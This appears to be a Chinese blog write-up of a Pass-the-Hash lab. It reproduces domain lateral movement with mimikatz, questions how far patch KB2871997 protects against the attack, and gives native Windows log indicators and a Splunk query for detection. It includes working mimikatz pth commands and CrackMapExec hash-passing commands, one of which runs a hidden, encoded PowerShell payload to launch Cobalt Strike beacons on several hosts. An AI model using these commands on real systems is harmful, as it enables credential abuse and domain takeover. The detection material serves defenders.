Intro
本文讨论的主要内容:
- 对PTH攻击应用场景的思考
- KB22871997能否防御PTH攻击
- 基于Windows(原生)日志的PTH攻击监测
错误的攻击场景
第一次PTH的应用场景有点问题,来看步骤
攻击机:192.168.146.76 / Windows Server 2019
被攻击机:192.168.146.78 / Windows Server 2012 Standard(Build 9200)
均已加域,Administrator为本地管理员账号,拥有相同的密码
在2019这台上用本地管理员Administrator,mimikatz读到Administrator的NTLM值,直接PTH:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:OCDCHINA /ntlm:xxxxxxxxxxx"
从结果来看PTH是成功的,文件列出了,用PsExec也能获取到受害机的权限
但是思考这个攻击的场景,是使用本地管理员攻击,获取到的另一个本地管理员权限,虽然这两台都加域了,但其实整个攻击流程和域没有什么关系。并且这两个Administrator账号密码其实是相同的,直接用PsExec也能相互获取到权限,并不需要打这一个PTH。
(PsExec是通过SMB服务连接文件共享,上传文件,使用SCM创建/启动服务来获取权限的,详细原理见psexec原理分析和实现,作者:想做嘉然小姐的狗)
更好的攻击场景
更好的攻击场景,我理解应该是拿下一台域内机器的权限(比如获取到webshell)后,提权到Adninistrator或SYSTEM这样的高权限,然后从这台机器上试图抓到域管账号哈希,使用这个哈希控制任意的域内终端。
缓存域管NTLM HASH
为了抓到NTLM HASH进行下一步横向,这里一共模拟了4种域管账号认证过程,看看是否会将NTLM HASH缓存到本地:
RDP:可以抓到哈希
从域控使用域管账号3389登录攻击机(横移起点)
4624 Logon Type=3(Network)
SMB:抓不到
先开启SMB服务,可以直接开启一个文件共享,然后从域控
\\192.168.146.56\c$
注意这里要输入IP而不是主机名, IP会使用NTLM协议,而主机名会使用Kerberos。
从Windows Security日志可以看到4624登录成功中的详情也是NTLM认证,但是很奇怪这种方式抓不到缓存的哈希。
Windows Credential Manager:抓到密码明文
加域后重启前:抓到密码明文
注意:以上所有的认证过程发生在DC和攻击机这两台2019之间,所以不存在2012低于R2版本导致明文存储的问题。
攻击流程复现
DC:192.168.146.76 / Windows Server 2019
攻击机:192.168.146.73(56) / Windows Server 2019 (横向移动的起点)
受害机:192.168.146.78 / Winodows Server 2012 Standard(Build 9200)
域管账号adminE*
域管3389登录攻击机以后,在攻击机本地缓存了NTLM HASH
模拟内网中横向移动的场景,攻击者在这台2019上抓到哈希且无法解出明文的时候使用PTH。由于这里抓到的是域管账号的哈希,攻击者可以使用其登录任意一台域内主机,即获取到了整个域的权限。
当然,更直接的利用是直接打域控。
关于KB22871997补丁
在谭谈哈希传递那些世人皆知的事 这篇文章里作者写的:
“PTH杀手”的更新使本地帐号不再可以用于远程接入系统…无法通过本地管理员权限对远程计算机…
但其实通过我们上面对攻击场景的思考可以知道,PTH攻击的场景应该是用域管而非本地管理员的权限做横向移动,包括他这篇文章里复现的也是用域管账号打PTH,所以1997这个补丁对这种情况的攻击并不起作用。1997补丁最主要的作用就是使内存中默认不再缓存明文密码,而这个作用对哈希传递也没有影响,相反恰恰是给了PTH真正的应用价值,即在明文口令未知的情况下做内网横向移动。
此外他第二段写的SID 500的账号是例外,以及PTH的”转折点”这里也写的1997补丁之后没法使用SID非500的账户做PTH,但是我实测了一下还是可以的,在Server2012上使用本地管理员账号,读到SID非500的域管账号,利用这个仍然可以做PTH的横移(这里打的是Server2019):
获得的是域管账号权限:
所以究其根本,Pass the Hash是NTLM协议挑战/响应(challenge/response)机制的缺陷,只要使用了NTLM协议,用户容易遭受Pass the Hash攻击的问题就会一直存在。微软也只能建议使用更安全的Kerberos协议来代替NTLM协议。
基于Windows(原生)日志的攻击监测
上图分别是从攻击源、目的和域控三个位置,汇总的在正常NTLM认证过程中和PTH攻击过程中产生的Windows事件日志。来自
从蓝队视角做基于日志的攻击行为监测,可以看到受害终端在经历PTH攻击后产生的日志,与一次正常的NTLM认证过程是完全一致的(4624 Logon Type=3
& 4672),因此从受害方并不能感知到此次NTLM认证过程是一次PTH攻击。DC的日志上相应都产生了4776验证账户凭据的事件,区别是正常过程还会跟两条Kerberos的验证请求。也不是很好做,比较直观的还是应该从攻击源看4624的Logon Type=9
的日志,在我的环境里面也找到了这一条的详细内容:
An account was successfully logged on.
Subject:
Security ID: WIN10\fazx
Account Name: fazx
Account Domain: WIN10
Logon ID: 0x48BE9
Logon Information:
Logon Type: 9
Restricted Admin Mode: -
Virtual Account: No
Elevated Token: Yes
Impersonation Level: Impersonation
New Logon:
Security ID: WIN10\fazx
Account Name: fazx
Account Domain: WIN10
Logon ID: 0x1D43FC7
Linked Logon ID: 0x0
Network Account Name: admine*
Network Account Domain: OCDCHINA
Logon GUID: {00000000-0000-0000-0000-000000000000}
Process Information:
Process ID: 0x11f4
Process Name: C:\Windows\System32\svchost.exe
Network Information:
Workstation Name: -
Source Network Address: ::1
Source Port: 0
Detailed Authentication Information:
Logon Process: seclogo
Authentication Package: Negotiate
Transited Services: -
Package Name (NTLM only): -
Key Length: 0
易于监测的点就是Logon Type: 9
和Logon Process: seclogo
Splunk Search Processing Language (SPL):
index=xxx (EventCode=4624) "Logon Type: 9" "Logon Process: seclogo"
| table _time Account_Name Source_Network_Address Security_ID ComputerName Keywords
| sort -_time
4672日志:
4672日志里就只有进行攻击的本地管理员账户,没有冒充的域管账户,如果要监测的话只能针对本地管理员而非SYSTEM的4672事件做监控。
可能会有点反直觉哪有从攻击源监测攻击的,但是这已经是右移到了内网的横向阶段,所以其实对Source Host的监测是完全可以做的。
当然,我这里写的是基于原生Windows日志的监测,如果装了一些Agent比如Sysmon,那能产生进程调用日志的时候思路就更多更简单了。
其他
域环境对于哈希传递不是必要条件,在工作组环境中也可以:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"
使用MSF的use exploit/windows/smb/psexec
使用CrackMapExec批量哈希传递,批量CS上线
cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de
cme smb 10.211.55.51 10.211.55.52 -u administrator -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."